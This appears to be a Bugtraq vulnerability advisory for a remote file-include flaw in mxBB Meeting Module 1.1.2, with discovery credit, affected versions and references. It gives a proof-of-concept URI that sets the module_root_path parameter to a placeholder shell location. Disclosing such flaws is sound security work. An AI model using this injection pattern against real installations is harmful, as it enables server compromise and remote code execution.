MXBB Meeting Module Module_Root_Path Remote File Include Vulnerability

Bugtraq ID:	21624
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 16 2006 12:00AM
Updated:	Dec 18 2006 04:48PM
Credit:	ajann is credited with the discovery of this vulnerability.
Vulnerable:	mxBB Meeting Module 1.1.2
Not Vulnerable:

MXBB Meeting Module Module_Root_Path Remote File Include Vulnerability

The mxBB Meeting module is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.1.2 is vulnerable to this issue; other versions may also be affected.

MXBB Meeting Module Module_Root_Path Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/modules/mx_meeting/pages/meeting_constants.php?module_root_path=[shell]

MXBB Meeting Module Module_Root_Path Remote File Include Vulnerability

References:

• Meeting Module Page (mxBB)
  
• Vendor Home Page (mxBB)